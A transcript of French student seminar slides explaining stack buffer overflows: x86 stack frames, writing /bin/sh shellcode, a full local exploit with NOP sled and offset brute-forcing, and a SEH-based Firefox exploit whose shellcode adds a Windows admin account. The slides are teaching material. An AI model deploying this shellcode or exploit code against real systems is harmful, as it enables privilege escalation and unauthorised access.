Slides de la présentation intermédiaire
Transcription
Slides de la présentation intermédiaire
Buffer overflow Séminaire de détection d’intrusions Georges Discry Julien Ghaye Quentin Jacquemart Benjamin Laugraud Prérequis Structure des ordinateurs Assembleur x86 – GNU/Linux ELF : Executable and Linkable Format Format d’exécutables Découpé en plusieurs parties : ELF : Executable and Linkable Format Dualité Mémoire virtuelle Espace noyau : 0x00000000 – 0xBFFFFFFF Espace utilisateur : 0xC0000000 – 0xFFFFFFFF Format ELF : adresse de base 0x08048000 Adresses indépendantes de la machine (mais dépendantes de l’architecture et de l’OS) Espace utilisateur .stack <-> pile .bss <-> données globales non-init .data <-> données globales init .text <-> code ASM x86 (32 bits) Pile construite de bas en haut Allocation variable locale = soustraction d’adresse Données dans la pile écrites de haut en bas 3 registres importants %eip : instruction pointer %ebp : base pointer %esp : stack pointer ASM x86 Cadre d’une fonction ASM x86 : appel d’une fonction Soit la fonction appelée foo(5, 6); En assembleur : push push call add $0x6 ; $0x5 ; 0xadresse <foo> ; $0x8,%esp ; Ajout du dernier argument Ajout du premier argument Adresse hex fonction à appeler Retrait des variables de la pile ASM x86 : prologue d’une fonction Soit la fonction int foo(int a, int b) { int c = a; int d = b; return c; } Prologue push mov sub push %ebp %esp,%ebp $0x18,%esp %eax ; ; ; ; Sauvegarde %ebp appelant Init %ebp de foo GCC réserve 24 bytes min Sauvegarde registre de retour ASM x86 : épilogue d’une fonction Soit (la même) fonction int foo(int a, int b) { int c = a; int d = b; return c; } Epilogue pop leave ret %eax ; Restauration du registre %eax ; Désalloc var locales et restauration %ebp ; Retour proc appelante Buffer overflow : principes But : faire exécuter du code malveillant par un programme légitime Exemple : int main(int argc, char** argv) { if (argc > 1) foo(argv[1]); return 0; } void foo(char* string) { char buffer[256]; strcpy(buffer, string); } Buffer overflow : principes Assembleur pour le prologue de foo : push mov sub %ebp %esp,%ebp $0x108,%esp ; GCC alloue 264 bytes pour le buffer Ecriture de données dans buffer sur 272 bytes pour écraser %eip ret permet l’exéctution du code malveillant Buffer overflow : principes strcpy(dest, src) ne vérifie pas que l’espace alloué à dest est épuisé Problèmes similaires pour gets() strcat() sprintf(), vsprintf() scanf(), fscanf(), sscanf(), vscanf(), vsscanf(), vfscanf() … Buffer overflow : exploitation 2 types DoS Code intrusif/destructif Buffer overflow : DoS Example Dans l’exemple précédent : Au lieu de remplacer %eip par l’adresse d’un code malveillant, mettre l’adresse de call <foo> dans la fonction main crée une boucle infinie Comportement du programme : 1. main fait un branchement vers foo 2. Le remplissage écrase la sauvegarde de %eip 3. Retour à l’étape 1 Buffer overflow : DoS Dans une exploitation « remote », une simple erreur de segmentation mène à un DoS Buffer overflow : intrusion système Exécuter un code qui, en général, donne accès à un shell Vocabulaire : Shellcode : code qui donne accès à un shell Exploit : programme qui injecte un payload dans un programme vulnérable Payload : données contenant ce qui est nécessaire pour exploiter la faille, y compris le shellcode et l’adresse de retour Shellcode Forme d’un shellcode char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; i.e. une suite d’instructions écrites en bytes Lance tout programme sans argument Comment obtenir ce résultat ? Shellcode : écriture Soit le programme (qui lance /bin/sh) void main() { char* name[2]; name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL); return 0; } Shellcode : écriture Assembleur pour main 0x08048224 0x08048225 0x08048227 0x0804822a 0x0804822d 0x08048232 0x08048235 0x08048238 0x0804823b 0x0804823e 0x08048240 <main+0>: push %ebp <main+1>: mov %esp,%ebp <main+3>: sub $0x8,%esp <main+6>: and $0xfffffff0,%esp <main+9>: mov $0x0,%eax <main+14>: add $0xf,%eax <main+17>: add $0xf,%eax <main+20>: shr $0x4,%eax <main+23>: shl $0x4,%eax <main+26>: sub %eax,%esp <main+28>: movl $0x809efe8,0xfffffff8(%ebp) 0x08048247 <main+35>: movl $0x0,0xfffffffc(%ebp) Shellcode : écriture main + 28 L’adresse de la chaîne /bin/sh est placée dans name[0] main + 35 L’adresse NULL est placée dans name[1] Shellcode : écriture Assembleur pour main (suite) 0x0804824e <main+42>: sub $0x4,%esp 0x08048251 <main+45>: push $0x0 0x08048253 <main+47>: lea 0xfffffff8(%ebp),%eax 0x08048256 <main+50>: push %eax 0x08048257 <main+51>: pushl 0xfffffff8(%ebp) 0x0804825a <main+54>: call 0x804f010 <execve> 0x0804825f <main+59>: add $0x10,%esp 0x08048262 <main+62>: mov $0x0,%eax 0x08048267 <main+67>: leave 0x08048268 <main+68>: ret Shellcode : écriture main + 45 L’adresse NULL est placée sur la pile comme troisième argument de execve main + 47 L’adresse de name est placée dans le registre %eax main + 50 L’adresse de name est placée sur la pile comme deuxième argument de execve via %eax main + 51 L’adresse de la chaîne /bin/sh est placée sur la pile comme premier argument de execve main + 54 La fonction execve est appelée Shellcode : écriture Assembleur pour execve 0x0804f010 0x0804f011 0x0804f016 0x0804f018 0x0804f019 0x0804f01b 0x0804f01e <execve+0>: <execve+1>: <execve+6>: <execve+8>: <execve+9>: <execve+11>: <execve+14>: 0x0804f020 0x0804f025 0x0804f028 0x0804f02b 0x0804f030 <execve+16>: <execve+21>: <execve+24>: <execve+27>: <execve+32>: push %ebp mov $0x0,%eax mov %esp,%ebp push %ebx test %eax,%eax mov 0x8(%ebp),%ebx je 0x804f025 <execve+21> call 0x0 mov 0xc(%ebp),%ecx mov 0x10(%ebp),%edx mov $0xb,%eax int $0x80 Shellcode : écriture execve + 11 L’adresse de la chaîne /bin/sh est placée dans le registre %ebx en tant que premier argument execve + 21 L’adresse de name est placée dans le registre %ecx en tant que deuxième argument execve + 24 L’adresse NULL est placée dans le registre %edx en tant que troisième argument execve + 27 La valeur 11 (0xB) est placée dans le registre %eax. Il s’agit de l’adresse de execve dans la table syscall execve + 32 Une interruption est effectuée pour passer en kernel mode afin de passer la main à l’OS Shellcode : écriture Pour appeler un shell, il faut donc 0xB dans %eax l’adresse du shell à exécuter dans %ebx l’adresse d’un tableau de chaînes dans %ecx 1er élément : adresse du shell à exécuter 2e élément : NULL NULL dans %edx faire une interruption pour passer en mode kernel Shellcode : écriture Il est possible d’écrire un code assembleur qui réunit ces conditions Il reste à le remettre sous la forme présentée Utiliser GCC en y introduisant le programme assembleur Shellcode : écriture Programme C/ASM : int main() { __asm__( "jmp second\n" "first:\n" "popl %esi\n" "movl %esi,0x8(%esi)\n" "xorl %eax,%eax\n" "movb %al,0x7(%esi)\n" "movl %eax,0xc(%esi)\n" "movb $0xb,%al\n" "movl %esi,%ebx\n" "leal 0x8(%esi),%ecx\n" "leal 0xc(%esi),%edx\n" Shellcode : écriture Programme C/ASM (suite) : "int $0x80\n" "xorl %ebx,%ebx\n" "movl %ebx,%eax\n" "inc %eax\n" "int $0x80\n" "second:\n" "call first\n" ".string \"/bin/sh\"" ); } Shellcode : écriture Partie significative de la sortie de GCC : 0x08048392 0x08048393 0x08048396 0x08048398 0x0804839b 0x0804839e 0x080483a0 0x080483a2 0x080483a5 0x080483a8 0x080483aa 0x080483ac <main+30>: <main+31>: <main+34>: <main+36>: <main+39>: <main+42>: <main+44>: <main+46>: <main+49>: <main+52>: <main+54>: <main+56>: pop mov xor mov mov mov mov lea lea int xor mov %esi %esi,0x8(%esi) %eax,%eax %al,0x7(%esi) %eax,0xc(%esi) $0xb,%al %esi,%ebx 0x8(%esi),%ecx 0xc(%esi),%edx $0x80 %ebx,%ebx %ebx,%eax Shellcode : écriture … suite 0x080483ae <main+58>: inc %eax 0x080483af <main+59>: int $0x80 0x080483b1 <second+0>: call 0x8048392 <main+30> La transformation de ces instructions en code machine donnent les valeurs des bytes présentées dans le shellcode initial Exploit : écriture Rappel du programme C : int main(int argc, char** argv) { if (argc > 1) foo(argv[1]); return 0; } void foo(char* string) { char buffer[256]; strcpy(buffer, string); } Exploit : écriture Deux difficultés pour l’écriture d’un exploit : 1. Génération du payload 2. Connaissance de l’adresse du shellcode dans la mémoire Ces problèmes se rejoignent en pratique Exploit : écriture Génération du payload Taille du payload : taille buffer sur la pile 24 char \ 0 1 byte %ebp et %eip Dans notre cas : 264 + 8 + 1 = 273 B Exploit : écriture Génération du payload Le shellcode va se retrouver dans la pile du programme vulnérable Normalement, aucun code ne devrait y être Il faut donc être extrêmement précis dans le calcul d’adresses, particulièrement pour le calcul de l’adresse de retour (afin d’éviter une erreur de segmentation) L’utilisation d’instructions nop nous permet d’être plus souple dans le calcul de l’adresse de retour Exploit : écriture Génération du payload Forme du payload Pour rechercher l’adresse de retour, nous utilisons l’adresse contenue dans %esp L’offset à additionner à l’adresse dans %esp sera passé en argument à l’exploit Exploit : écriture Code de l’exploit : #define NOP 0x90 int main(int argc, char** argv) { if (argc < 2) { fprintf(stderr, "No argument\n"); return 1; } char shellcode[] = "\x33\xc0\x31\xdb\xb0\x17\xcd\x80" "\xeb\x1f\x5e\x89\x76\x08\x31\xc0" "\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c" "\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; Exploit : écriture Code de l’exploit (suite) : char buffer[273]; char* ptr = (char*)&buffer; int i; for (i *ptr for (i *ptr = = = = 0; i<268 - strlen(shellcode); i++, ptr++) NOP; 0; i < strlen(shellcode); i++, ptr++) shellcode[i]; int offset = atoi(argv[1]); long esp = getESP(); long ret = esp + offset; Exploit : écriture Code de l’exploit (fin) : printf("ESP Register : 0x%x\n", esp); printf("Offset : %i\n", offset); printf("Address : 0x%x\n", ret); *(long*)ptr = ret; ptr += 4; *(char*)ptr = '\0'; execl("/home/sdi/overflow/prog1", "prog1", buffer, NULL); } long getESP(void) { __asm__("mov %esp,%eax"); } Exploit : écriture Comment estimer l’offset ? Une simple méthode est d’utiliser une commande bash qui essaye chaque valeur jusqu’à ce qu’une fonctionne (brute-force): A=-1; while [ 1 ]; do A=$((A+1)); ./a.out $A; done Après quelques itérations, un terminal s’exécute bien sur la machine Si le bit suid de l’utilisateur est activé, on a un terminal root Exploits Les exploits à distance contiennent un shellcode qui ouvre un port TCP sur lequel un terminal est exécuté Faille et exploit utilisé CVE-2008-0016 Affecte Mozilla Firefox et Thunderbird 2.0.0.16, ansi que SeaMonkey 1.1.12 Lorsque un lien est encodé en UTF-8, le parseur d’URL copie les caractères UTF-8 vers des caractères UTF-16 à l’aide d’une boucle Faille et exploit utilisé Si la chaîne UTF-8 se termine par un caractère multi-byte, le corps de la boucle dépasse la fin du buffer Faille et exploit utilisé : extrait du code source de Firefox ConvertUTF8toUTF16::write() : const value_type* p = start; const value_type* end = start + N; // … for ( ; p != end; ) { char c = *p++; // … else if (UTF8traits::is4byte(c)) { state = 3; } // … while ( state-- ) { c = *p++; // bug! Exploit utilisé L’exploit que nous utilisons est un serveur HTTP qui envoi une page amenant la boucle dans son état faillible La page est composée de deux parties Un shellcode qui crée un utilisateur administrateur r00t/r00tr00t!! sur une machine MS-Windows XP SP3 Un lien malveillant permettant l’exécution du shellcode Exploit utilisé Le shell code est envoyé dans une balise <!CDATA[]> "<!CDATA[" + "\x42\x41\x42\x41\x42\x41\x42\x41" + shellcode + "]>\n" Précédé du préfixé 0x42 0x41 répété Exploit utilisé Le lien est généré par ce code : s = "\xC3\xBA" u = unicode(s, "utf-8") utf8chars = u.encode("utf-8") "<a + + + + + href=\"" + "\x01" + "xx://dmc" + utf8chars + "/" "邐" * 1700 # Windows XP SP3 SEH offset "ძ邐" # unicode - ptr to next seh "ᇧ怷" # pop/pop/ret "邐" * 10 egghunter + "邐" * 10 + "\" >s</a>" Beaucoup de choses se passent ! Exploit utilisé egghunter est un code qui se charge de retrouver le préfixe 0x42 0x41 en mémoire et d’amener %eip à l’adresse du code malveillant Il est codé en entités HTML pour éviter une conversion par le navigateur Exploit utilisé : structured exception handling (SEH) Spécifique à MS-Windows Contrôleur d’exception du système Structure comprenant l’adresse du bloque de code à exécuter si une exception survient au cours du programme Si le programme ne sait pas gérer son exception, l’OS prend le relai via un gestionnaire d’exception générique (dans ntdll.dll) Exploit utilisé : SEH Chaque bloc catch a son propre cadre sur la pile Une structure SEH est une structure de 2 * 4 bytes : Pointeur vers la prochaine structure SEH (next_SEH) Pointeur vers l’adresse du block pour l’exception courante (SE handler) Exploit utilisé : SEH Exploit utilisé : SEH Si un exploit ne fonctionne pas, le code injecté a une forte probabilité de lever une exception Si on arrive a modifier l’adresse du SE handler par l’adresse du shellcode, la fiabilité de l’exploit est améliorée L’idée est donc de modifier le SE handler relatif à une certaine exception, et puis de lancer cette exception Exploit utilisé : SEH Références principales Exploitation avancée de buffer overflows, Olivier Gay, Département d'Informatique de l'EPFL, EPFL. Smacking The Stack For Fun And Profit, Aleph One, underground.org. Le format ELF : point de vue d'un infecteur, L33kma, l33ckma.tuxfamily.org. Understanding ELF using readelf and objdump, Mulyadi Santosa, linuxforums.org. Extending Sim286 to the Intel386 Architecture with 32-bit processing and Elf Binary input, Michael L. Haungs, California Polytechnic State University. NetBSD ELF File Format Manual man page. SEH Stack Based Windows Buffer Overflow Tutorial, Lupin from The Grey Corner, grey-corner.blogspot.com. A Crash Course on the Depths of Win32 Structured Exception Handling, Matt Pietrek, Microsoft Systems Journal. Exploit writing tutorial: SEH Based Exploits, Peter Van Eeckhoutte, corelan.be. Exploit utilisé écrit par Dominic Chell disponible à l’adresse http://www.milw0rm.com/exploits/9663